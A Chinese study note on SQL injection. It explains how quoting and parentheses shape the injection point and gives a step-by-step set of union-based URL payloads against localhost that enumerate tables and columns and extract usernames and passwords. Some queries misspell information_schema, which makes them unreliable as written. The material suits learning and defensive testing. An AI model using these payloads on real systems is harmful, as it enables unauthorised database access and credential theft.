安全学习笔记——sql注入原理

1、sql注入原理,传参时拼凑语句在数据库执行且获取想要的执行结果(系统账号密码)

sql注入传参后,后台可能类似  id=1  直接按数值类型接收;

也可能类似  id='1' 按字符类型接收;

也可能类似  id=('1')  按字符类型,但用括弧括起来接收;

也可能类似 id="1"  按字符串类型接收;

也可能类似 id=("1") 按字符串类型,但用括弧括起来接收;

2、如何执行自己拼凑的sql语句

如浏览器访问为:http://localhost/?id=1

后台最终的sql为:select * from user where id='1' limit 0,1;

为了让拼凑的sql语句能够正确执行,可以拼凑为:select * from user where id='1' --+ 'limt 0,1;  

浏览器如何传参才能达到如上拼凑的sql语句效果,如:http://localhost/?id=1' --+

说明:在浏览器访问时“+”号表示空格,“--+”传递到sql语句时“-- ”(注意“-- ”后面有个空格),即注释掉后面的sql语句。 

对于数值类型处理,浏览器访问如:http://localhost/?id=-1 --+

对于id='1'类型处理,浏览器访问如:http://localhost/?id=-1' --+

对于id=('1')类型处理,浏览器访问如:http://localhost/?id=-1') --+

对于id="1"类型处理,浏览器访问如:http://localhost/?id=-1" --+

对于id=("1")类型处理,浏览器访问如:http://localhost/?id=-1") --+

3、接下来就是想办法获取自己想知道的数据。

如:
//确定表字段个数
http://localhost/?id=1' order by 4 --+
//使用union时需要确保其前后两个查询出的字段个数一致       
http://localhost/?id=-1' union select 1,database(),3 --+
//mysql5.7及以上自带的数据库information_schema,及其存放数据表的表tables,及其存放字段名称的表columns,获取当前系统数据库下的所有数据表      
http://localhost/?id=-1' union select 1,group_concat(table_name),3 from infomation_schema.tables where table_schema=database() --+
//获取要查询表(如上面查询到的user表)的所有表字段
http://localhost/?id=-1' union select 1,group_concat(column_name),3 from infomation_schema.columns where table_schema=database() and table_name='user' --+
//获取要查询的表数据(如上面查询到的username、userpassword)
http://localhost/?id=-1' union select 1,group_concat(username),group_concat(password) from user --+
//或
http://localhost/?id=-1' union select 1,username,password from user limit 0,1 --+
//注意:group_concat()是字符串拼接函数,limt m,n表示从查询结果的m+1行开始获取n行结果(查询结果从0开始记录)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值